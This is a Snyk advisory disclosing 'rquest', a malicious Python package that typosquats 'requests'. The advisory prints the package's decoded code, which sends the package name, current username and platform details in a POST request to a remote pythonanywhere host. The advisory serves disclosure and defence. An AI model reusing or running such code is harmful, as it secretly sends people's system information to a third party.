Malicious Package Affecting rquest package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-RQUEST-3315322
  • published8 Feb 2023
  • disclosed8 Feb 2023
  • creditSnyk Research Team

Introduced: 8 Feb 2023

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)
First added by Snyk

How to fix?

Avoid using all malicious instances of the rquest package.

Overview

rquest is a malicious package. This malicious package attempts typosquatting the popular requests package. The malicious script is base64 obfuscated and tries to steal the current username and platform information and send them to a remote host.

Malicious behavior

import getpass
import json
import os
import platform
from urllib import request

req = request.Request("https://cyberresearch.pythonanywhere.com/log", method="POST")
req.add_header('Content-Type', 'application/json')
data = json.dumps({"package": __file__.split(os.sep)[-2], "user": getpass.getuser(), "system": platform.platform()})
data = data.encode()
r = request.urlopen(req, data=data)

CVSS Scores

version 3.1